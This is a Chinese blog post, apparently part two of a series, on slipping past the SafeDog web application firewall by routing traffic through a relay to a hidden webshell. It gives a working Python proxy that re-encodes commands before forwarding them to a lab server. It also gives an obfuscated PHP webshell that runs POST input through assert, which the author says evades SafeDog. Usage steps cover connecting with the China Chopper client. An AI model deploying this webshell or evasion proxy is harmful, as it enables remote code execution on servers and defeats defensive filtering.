• 中转Webshell 绕过安全狗(二)


    前言

    在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php。某大佬提示并分享资源后,打算使用python完成中转。部分代码无耻copy。

    客户端

    本地127.0.0.1,安装python2
    phpshellproxy.py

    #coding=utf-8
    
    import sys
    reload(sys)
    sys.setdefaultencoding('utf-8')
    
    import web
    
    urls = (
        '/','index',
        '/reverse','reverse',
        )
    
    #render = web.template.render('templates/')
    import json
    import urllib
    
    class index:
        def GET(self):
            return 1
    class Base:
        def getpostdata(self, postdata):
            #content with &
            postdatalist = postdata.split('&')
            for pa in postdatalist:
                #content with =, can't split with =
                index = pa.find("=")
                setattr(self,pa[:index],urllib.unquote_plus(pa[index+1:]))
    import requests
    import codecs, urllib , base64 #, chardet
    class reverse(Base, object):
        def GET(self,corpid):
            return 1
        def POST(self):
            data = web.data()
            #print data
            pwdata = data.split('&')[0].split('=')[1]
            #print pwdata
            #print 'pwdata', pwdata
            #print 'pwdata[::-1]', urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b')
            newpostdata = data.replace(pwdata, urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b'))
            #print 'newpostdata', newpostdata
            r = requests.post("http://192.168.253.129/waf/transServ.php", data=""+newpostdata.replace(' ','+'), headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"})#, proxies={'http':"http://127.0.0.1:8080"})
            #print r.apparent_encoding
            #r.encoding = 'gb2312'
            #print chardet.detect(r.content)
            #print r.text
            #return r.text
            return r.content 
    if __name__ == "__main__":
        app = web.application(urls, globals())
        app.run()
    

      运行需要安装

    pip install web
    pip install requests
    

      服务端

    shell端192.168.253.129,安装安全狗
    reverse.php
    做了点混淆,可过安全狗

    <?php 
    $DS = $_POST['x'];
    $str = strrev($DS);
    $a1 = array("1234","123456");
    $a2 = array($str,"5461");
    $ma = array_map(null,$a1,$a2)[0][1];
    @assert($ma);
    

     

    使用方法

    1. 替换phpshellproxy.py中的shell地址,需配合reverse.php使用

    2. 运行python phpshellproxy.py 9000 (端口自定义)

    3. 使用菜单连接对应shell地址,如 http://[ip]:9000/reverse ,输入对应密码,配置对应脚本类型,如果打开错误,建议清掉缓存,重新打开。

    操作

    本地运行phpshellproxy.py文件

     

    中国菜刀进行连接http://127.0.0.1:9000/reverse  密码

     想了解更多 欢迎关注

  • 相关阅读:
    mybatis之@Select、@Insert、@Delete、@Param
    com.mysql.jdbc.MysqlDataTruncation: Data truncation: Truncated incorrect DOUBLE value:...
    fasterxml.jackson 将对象转换为json报错处理
    JPA之@Transient
    JPA之@OneToMany、@ManyToOne、@JoinColumn
    JPA之@Entity、@Table、@Column、@Id
    @EnableAutoConfiguration和@SpringbootApplication注解
    Spring JdbcTemplate详解
    网页上播放音频、视频Mp3,Mp4
    编码转换 Native / UTF-8 / Unicode
  • 原文地址:https://www.cnblogs.com/xyongsec/p/11065382.html
Copyright © 2020-2023  润新知